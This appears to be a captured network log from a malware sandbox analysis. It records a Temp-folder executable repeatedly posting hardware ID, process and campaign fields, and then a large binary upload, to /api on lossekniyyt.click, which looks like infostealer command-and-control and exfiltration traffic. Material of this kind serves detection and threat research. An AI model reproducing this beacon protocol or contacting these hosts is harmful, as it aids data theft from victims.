2024-12-20 12:12:25 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n3qabk6gn0hhckqnrvra44e07s; expires=Tue, 15 Apr 2025 05:59:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZBimNlEBAfCUITgXoqZzlt2deOeTq5FHvJLD14FX8tBgvnGap76%2F4bjSQ2iS51D5Ag0CnK5Bwnl81HMutx7pOpVXTYtF%2FfR%2FV3yHhJXwGPefZodP7HAS9IZTbazlFF11nUt%2Bvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8a5c7ad042c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1676&rtt_var=650&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13708&delivery_rate=1654390&cwnd=233&unsent_bytes=0&cid=ba483a379634b0e6&ts=1178&x=0"
2024-12-20 12:12:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 12:12:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49873	104.21.12.88	443	8000	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:26 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AJYKXWNC6B7KUJ05FI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15072 Host: lossekniyyt.click
2024-12-20 12:12:26 UTC	15072	OUT	Data Raw: 2d 2d 41 4a 59 4b 58 57 4e 43 36 42 37 4b 55 4a 30 35 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 4a 59 4b 58 57 4e 43 36 42 37 4b 55 4a 30 35 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 41 4a 59 4b 58 57 4e 43 36 42 37 4b 55 4a 30 35 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 41 Data Ascii: --AJYKXWNC6B7KUJ05FIContent-Disposition: form-data; name="hwid"4602916A957B8310AC8923850305D13E--AJYKXWNC6B7KUJ05FIContent-Disposition: form-data; name="pid"2--AJYKXWNC6B7KUJ05FIContent-Disposition: form-data; name="lid"9Z1cyc----A
2024-12-20 12:12:27 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jethqgvf7quok428o7p4olqd5b; expires=Tue, 15 Apr 2025 05:59:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sahbOtly3toi04X%2FCPhXI8KWIt9gIwqtIELmgWZxXrGT8n1XXkXqNxdHce%2BF0b7oMgEja9NzYYHSuT%2Bpb8%2BvpHAc%2FS9SiqiQvyEf92t2tkMcY2opRgDkgsFa848zAvmYXroUxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8a6b7f132365-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1883&min_rtt=1872&rtt_var=725&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2841&recv_bytes=16013&delivery_rate=1486005&cwnd=154&unsent_bytes=0&cid=37d56800ccf2a6dd&ts=842&x=0"
2024-12-20 12:12:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 12:12:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49879	104.21.12.88	443	8000	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:28 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WWCTLM75Z6CL7CCAMV3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20568 Host: lossekniyyt.click
2024-12-20 12:12:28 UTC	15331	OUT	Data Raw: 2d 2d 57 57 43 54 4c 4d 37 35 5a 36 43 4c 37 43 43 41 4d 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 57 43 54 4c 4d 37 35 5a 36 43 4c 37 43 43 41 4d 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 57 43 54 4c 4d 37 35 5a 36 43 4c 37 43 43 41 4d 56 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a Data Ascii: --WWCTLM75Z6CL7CCAMV3Content-Disposition: form-data; name="hwid"4602916A957B8310AC8923850305D13E--WWCTLM75Z6CL7CCAMV3Content-Disposition: form-data; name="pid"3--WWCTLM75Z6CL7CCAMV3Content-Disposition: form-data; name="lid"9Z1cyc--
2024-12-20 12:12:28 UTC	5237	OUT	Data Raw: 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6vMMZh'F3Wun 4F([:7s~X`nO
2024-12-20 12:12:29 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ppjnp1jbttinn0a150fkco3fac; expires=Tue, 15 Apr 2025 05:59:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eLMmupmEMbbUy5%2BZ1TV4eVFLLbZUcoSGnGOnHBRWO%2BAyy4b60PV2QgH6mBUeCCNGw4pZHz%2FmUGV%2FwNxvyWQCiG8Wf3cmkcQ7WYisS2eYyKQonTGv8MqLmWPMxb6vStNijHQQ7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8a78cdb40c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1456&min_rtt=1447&rtt_var=562&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21532&delivery_rate=1914754&cwnd=241&unsent_bytes=0&cid=b5d570a35a457cb9&ts=977&x=0"
2024-12-20 12:12:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 12:12:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49885	104.21.12.88	443	8000	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:31 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y51EC27PBZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1196 Host: lossekniyyt.click
2024-12-20 12:12:31 UTC	1196	OUT	Data Raw: 2d 2d 59 35 31 45 43 32 37 50 42 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 35 31 45 43 32 37 50 42 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 35 31 45 43 32 37 50 42 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 59 35 31 45 43 32 37 50 42 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --Y51EC27PBZContent-Disposition: form-data; name="hwid"4602916A957B8310AC8923850305D13E--Y51EC27PBZContent-Disposition: form-data; name="pid"1--Y51EC27PBZContent-Disposition: form-data; name="lid"9Z1cyc----Y51EC27PBZContent-Dispo
2024-12-20 12:12:31 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 12:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=20jn3fc34qpprvrn1r6rnjbvhj; expires=Tue, 15 Apr 2025 05:59:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7chamcJC34lMC6H2kdPXOTOn18Pd4dbGBwXQ5Z3cZSjvZe8JPwmVYOyZJsQcg8fRNQ3BzVly8%2FqcxNDNlaFpfSllIO1NepOs09WkIvTgBi1jk722R3MeEtkIg%2FzunUuJxbFDbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4f8a879d57440e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1707&min_rtt=1702&rtt_var=648&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2106&delivery_rate=1674311&cwnd=236&unsent_bytes=0&cid=a34d6e2c65cf8c9b&ts=785&x=0"
2024-12-20 12:12:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 12:12:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49894	104.21.12.88	443	8000	C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 12:12:33 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=17AO9DD9ACLCJA3F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570189 Host: lossekniyyt.click
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 2d 2d 31 37 41 4f 39 44 44 39 41 43 4c 43 4a 41 33 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 30 32 39 31 36 41 39 35 37 42 38 33 31 30 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 37 41 4f 39 44 44 39 41 43 4c 43 4a 41 33 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 37 41 4f 39 44 44 39 41 43 4c 43 4a 41 33 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 31 37 41 4f 39 44 44 Data Ascii: --17AO9DD9ACLCJA3FContent-Disposition: form-data; name="hwid"4602916A957B8310AC8923850305D13E--17AO9DD9ACLCJA3FContent-Disposition: form-data; name="pid"1--17AO9DD9ACLCJA3FContent-Disposition: form-data; name="lid"9Z1cyc----17AO9DD
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 10 5d 45 35 ee 53 5a 9d 6e ed 8b 04 8c 4f a2 0a ad 8a 34 be a3 95 c4 e1 33 a0 40 08 a7 85 86 3b 7f 39 77 3d 81 98 9e 78 8a 7d 1b 18 ae 77 91 bc 09 f0 82 e4 b6 7a 86 bb 90 4d 7f a8 ba 33 2d eb ad 68 19 5a 13 97 2a c9 60 0e bd 1b 54 7a c9 d5 8d a5 ac df 53 b2 ce ff 86 3b ae 9d d9 e0 a3 02 3a 1e 33 02 df a8 d4 28 8b 87 6d 58 39 f3 e7 fb 6d 1a 37 0b ba d0 94 23 21 8d 73 45 3b 5c fa 06 be a0 09 18 a9 62 d0 16 6e 64 16 82 94 5b 0b 26 f7 1a d9 0a 22 db 05 81 50 fe 24 3e e1 97 98 83 3b fe 1c 68 5a a5 d3 17 af 16 f1 cb 44 2f 7a 64 3c 1c b2 93 38 34 96 79 32 33 a3 14 6a 17 48 06 57 7e 9f f2 5a bc 2e 60 ee 66 44 13 5a df b7 7a 5a 2d b9 ca 35 14 66 78 cb a2 56 c4 78 27 ba dd af 8b 70 09 9b fe 0a e3 7f 49 f0 af 2e 25 d1 13 34 c0 24 78 6e 9a 88 18 72 78 af 98 f4 1c 25 Data Ascii: ]E5SZnO43@;9w=x}wzM3-hZ*`TzS;:3(mX9m7#!sE;\bnd[&"P$>;hZD/zd<84y23jHW~Z.`fDZzZ-5fxVx'pI.%4$xnrx%
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 13 49 89 79 c6 2a fc bd 08 83 5b 7f fd a6 3a 75 1e 79 4c 2a 78 c7 fa f3 69 0c e5 65 32 39 b5 f8 37 d7 c0 a4 d9 ef 96 ea 80 f4 35 be fa 4d 65 da 41 1c bb 98 10 c9 8c a7 26 9c b4 17 14 13 ef fc 38 2b 26 3f 1c 80 8d 24 ae ae 7e 20 c8 4b e3 3b 77 90 fa 4e db 9c d7 ea 4a 40 7e 75 c3 0d 61 aa 8a 39 62 0e 51 77 b5 16 2e 8d 19 61 66 94 b8 29 05 d7 dd 77 93 23 83 e8 9b 62 2b ea 63 af 0f 56 df 59 ed 79 db ad ca a9 11 4e 0e e6 cc d2 3b 56 1c 1e 05 93 50 3f 1f 33 bc 05 2f bf 59 ef 0f b2 fb a5 cf 33 7c 38 4d f1 4d 23 24 16 1c bf 23 cb 6f 8c cb 7f 6f 78 d3 7e ea 60 c5 af f3 b3 63 29 1e be da fd de 0f 36 7e e5 f3 ea fa 29 8b d0 3b 97 4f 6f 1f 41 ac b8 77 83 93 79 c9 a1 71 fa 1e 3f a3 66 47 1f 58 89 b0 e6 cc b3 1d 58 55 5e 4f f7 d4 76 f9 ef f5 e9 df 73 d4 6e c3 d3 b6 72 Data Ascii: Iy[:uyLxie2975MeA&8+&?$~ K;wNJ@~ua9bQw.af)w#b+cVYyN;VP?3/Y3\|8MM#$#oox~`c)6~);OoAwyq?fGXXU^Ovsnr
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 6a 70 67 9e b1 72 42 45 67 ce 4f a5 77 fe 7b 07 af 78 40 65 d8 8b 47 9f 57 6d d8 77 bf 9d ee f7 8b a7 56 2d 55 ed 2f ff fe c9 6d 59 88 7b 48 ea d1 79 50 1a c7 77 4a e4 59 78 da c9 50 cb 5f a2 41 f3 0c c0 38 eb 9e 5f 54 f5 fe bd c6 01 c9 e4 3b 43 a7 48 b8 fb c1 be ae 4c 03 dd c2 39 51 f6 f7 f4 ce 57 b9 9d ec 99 82 96 d3 c3 1d 06 2a 3e 9f f2 25 fc 1b 5f d6 0a fc 28 ad 96 c7 ab 71 c8 78 86 e4 1e 98 7d 46 12 12 ae 9c 5e 1e 6e 19 e9 28 d7 d0 b6 d9 6a f6 8c 0a 7c 3d 24 86 dd 87 02 ef ad 2b e4 ae 0e 3b de f9 5a 7e c3 2d b7 18 e4 56 b9 f5 1d 9e c9 e8 eb 08 60 05 36 69 bf 12 ed 3c a1 30 cf b1 9d 39 a4 f0 05 9e 96 09 7b cf da 99 7a f6 52 b5 90 15 a2 e1 ba 33 bd e3 67 1f 1c 6e 4b 2a e7 fb f0 7d 4b fa f2 43 76 f2 87 6a bd 88 a7 29 45 ec a4 c1 b1 2e f6 f6 0f bb af 24 Data Ascii: jpgrBEgOw{x@eGWmwV-U/mY{HyPwJYxP_A8_T;CHL9QW>%_(qx}F^n(j\|=$+;Z~-V`6i<09{zR3gnK}KCvj)E.$
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: b2 36 a2 b8 76 a5 89 86 45 8c e1 df 39 27 b4 51 e6 04 0e 47 c1 8e 78 70 f8 37 f7 0f 16 92 10 bb 77 74 37 33 dd ee 73 9e 6c 54 e5 3e ba 34 52 94 81 cc 0a c2 94 6e 65 f5 b9 78 cb 88 1e 94 e1 34 87 12 3a 2c 96 30 fd 8c 15 c2 77 8b a3 2f 98 73 7d 62 aa 5d 02 ee 19 d5 bb bc 05 dd de 9f 5e 17 fd 3f 65 64 8b 0e 0a b8 e9 35 e6 54 70 17 0d 3e dc 79 d9 c0 05 06 ab 1c 87 6d d4 5d 70 82 5b 6f df f9 ed 7d a7 63 ee af 2f e9 10 a4 24 79 d9 fb e8 3b d5 53 94 74 3f ec df 7b b5 27 04 93 f5 58 10 c3 26 11 e6 f9 7f cc d8 dd 3d 36 92 a0 78 84 6b 37 5a 00 e9 91 b0 ec dc 6b 01 c6 e7 52 5a 4a 13 1a 59 1f 9a 77 14 30 11 f7 07 68 27 40 eb 27 f6 96 60 42 fd 11 2a a2 2d 31 48 51 75 81 28 77 94 71 70 44 f0 e7 f5 05 7e 2f 70 fa ea 31 e1 6d de 1f ac 97 de 21 e9 71 84 65 99 38 c8 16 16 Data Ascii: 6vE9'QGxp7wt73slT>4Rnex4:,0w/s}b]^?ed5Tp>ym]p[o}c/$y;St?{'X&=6xk7ZkRZJYw0h'@'`B*-1HQu(wqpD~/p1m!qe8
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 07 98 51 da 3e 93 0d 4d 94 f8 9d 42 63 22 23 a6 f6 bc 3a 99 b0 8c f2 b0 4b 5a f7 0d 91 83 64 c6 57 26 95 48 3e 98 3b b9 5b c5 b8 23 05 2c 24 95 c3 8b 5f b6 ce 28 e6 70 7b 8a 9b 97 c0 16 7f 25 f6 09 ba 8f ef a8 af bd ff 23 7f ab 32 3d f4 76 ec 0e 6a e6 50 c3 4b 74 82 32 5d ff c1 1e 82 cf 52 fe 09 9b 46 a3 3c eb 7b f2 d2 ce d5 4c 0e a3 3d 2e b8 cb dd f2 cd 6a 75 6e f6 c1 26 93 bf 12 8e 62 db 7b a3 fd d5 5e ed 23 06 cc 56 4f a9 5c 85 f0 b0 7c 8b a2 76 c1 f2 1a be db d8 4d 94 80 ea 8a bc 0c 4b 6c 9e 38 9f 14 57 6d 67 d6 64 3d 5a 9b 11 10 c2 b5 91 fd 2f a1 95 30 54 67 30 f2 25 96 b7 3c ed 51 98 61 1c 68 87 26 72 6e f0 94 fc 83 db 0a 23 24 7c 15 37 e0 80 d7 d9 d5 55 ab 5e 6c 00 2d 8a 49 86 5a 38 82 1e 2a fb 84 ed f8 18 a0 8f b6 35 a7 e8 bd dc d1 3b 86 85 e4 fe Data Ascii: Q>MBc"#:KZdW&H>;[#,$_(p{%#2=vjPKt2]RF<{L=.jun&b{^#VO\\|vMKl8Wmgd=Z/0Tg0%<Qah&rn#$\|7U^l-IZ8*5;
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 0f 48 95 d8 05 c3 2e 68 bf 6c e6 05 7b aa 95 c6 6d 7b e4 0b e3 96 cd 30 db 73 fc 04 bb bf 11 87 1f df 0a c4 bd 18 39 7e 2b 04 02 cd 15 21 88 db 88 08 c7 62 6a 7b d9 fa a5 66 67 b4 84 2a fd 9b 3f f3 fa 99 b8 86 7f 58 e1 69 50 ea 75 36 92 31 e6 48 98 6b 6e 97 85 08 9f c2 79 41 96 55 46 9f 48 0d db 36 c8 92 33 62 ce 77 18 06 8c c2 59 e5 0f 5c 13 b5 41 e8 e0 73 13 99 f3 b5 72 1c a1 c5 78 bb 90 d9 a5 d9 dd 60 28 03 46 98 65 57 99 74 7f 1c ab e9 37 84 51 92 f0 ef 97 4b b8 65 cf 54 a7 78 1c 59 48 98 f3 79 fb 4a 02 b0 1d ae 7a 2b 0b 52 03 52 e5 66 44 40 b8 4f 17 44 cf c2 b1 66 91 c0 e2 0b cf 03 1d 6f 43 cd 6e d9 de e7 fe 9a 21 e7 a5 b0 bd e3 3c 69 c1 ca 9d f3 56 03 a5 87 57 8e cd b0 0d 9f e9 01 0f d9 7f 5e 56 95 1b ec 22 b2 ea 1e 4d c8 5d 07 04 64 04 0c 95 4f 89 Data Ascii: H.hl{m{0s9~+!bj{fg*?XiPu61HknyAUFH63bwY\Asrx`(FeWt7QKeTxYHyJz+RRfD@ODfoCn!<iVW^V"M]dO
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 23 1e 02 82 25 b0 d6 f9 e5 2c 58 6b 70 fa 7a 3e eb 29 c3 1b e2 37 a6 8f 3c 04 9a 86 97 8f c6 7d e5 b9 7d 54 39 ae 22 92 ed 51 c4 f2 8f 5b d0 db 9e dd a7 bb 92 64 92 d6 1c bf 5f 0d e6 2d 4b 61 f8 7b 58 48 91 33 3a be c4 e6 1e 59 bf bb ed 21 76 1a bf c2 f4 59 ab fa 20 48 60 87 ad 9b 6e a6 8f 2d 2a 6c af 30 5a 63 11 e0 f7 f0 4f 97 bb d7 7c 72 84 e9 87 be c0 08 2c b9 d3 4b 57 fe 72 55 d7 77 ce 0b 3a b6 c0 65 9d 64 03 28 27 32 ae f3 50 84 df 4c 2f 16 cc cd e5 cf fb bb cb 41 a7 61 84 e2 f6 fc 3e 28 95 31 a8 ac 37 88 04 c4 a2 bd 7b 24 7a 03 1c 14 7f 18 e2 d2 2e 01 aa d2 ce 22 1b 0c 84 44 a8 ae 9e 30 84 d7 3c 19 f7 69 2c 3b 86 b8 5c ac e9 81 6e 30 46 93 24 87 20 5c 05 b1 26 1f 29 69 3f 02 f3 36 84 2f 95 26 9e cb 58 b9 f3 8f 5f 8d d3 3f 2d 7f c6 72 de 1b 08 34 67 Data Ascii: #%,Xkpz>)7<}}T9"Q[d_-Ka{XH3:Y!vY H`n-*l0ZcO\|r,KWrUw:ed('2PL/Aa>(17{$z."D0<i,;\n0F$ \&)i?6/&X_?-r4g
2024-12-20 12:12:33 UTC	15331	OUT	Data Raw: 21 37 4a 0d 4f d7 d6 c3 da f3 a7 df c6 73 f5 8e 28 f3 50 d2 eb 27 94 06 a4 7e 2b 27 da 7c c9 5b 07 4b 6c 45 68 28 d0 d2 e6 b1 6c 6c 4f ee 76 65 fd 7a 91 4b 39 75 89 a2 d8 78 46 4d 20 1f 13 e3 ed cd 28 65 f3 d7 54 16 3f 4f 68 b7 37 ac 44 bc 6f de 4a 43 45 06 48 13 7a 23 de e8 e2 bd 00 ec 27 ba 77 7f 2b 6b d2 b0 6d a4 95 fc 70 bb ec 2d 4b c1 8e dc 22 bb ba 6c 7e 2a 79 9b 0a 47 0e af aa 2d 3b 38 66 9b dc 30 25 c8 45 eb 18 15 61 c8 27 f7 6d 48 2c 2f 9c 35 cb f6 e7 7d ac 3e f8 10 eb 12 51 26 ee e4 51 7b 15 d5 a4 34 20 66 6b 26 06 a0 65 06 6a db 44 f4 67 ef 03 3c 13 88 43 cd 62 24 2f 50 32 3d b3 d6 4f 09 f0 17 9b c8 d0 07 a8 46 2a 3b 79 58 6f ce 62 a8 2a 01 e1 cc ce 9d a5 bf 34 88 76 f1 5c 2a 94 52 61 f8 dd 7b 29 09 52 be 54 05 44 b8 bd 4a 8f 9e 4e 1f b7 e2 e3 Data Ascii: !7JOs(P'~+'\|[KlEh(llOvezK9uxFM (eT?Oh7DoJCEHz#'w+kmp-K"l~yG-;8f0%Ea'mH,/5}>Q&Q{4 fk&ejDg<Cb$/P2=OF;yXob4v\Ra{)RTDJN
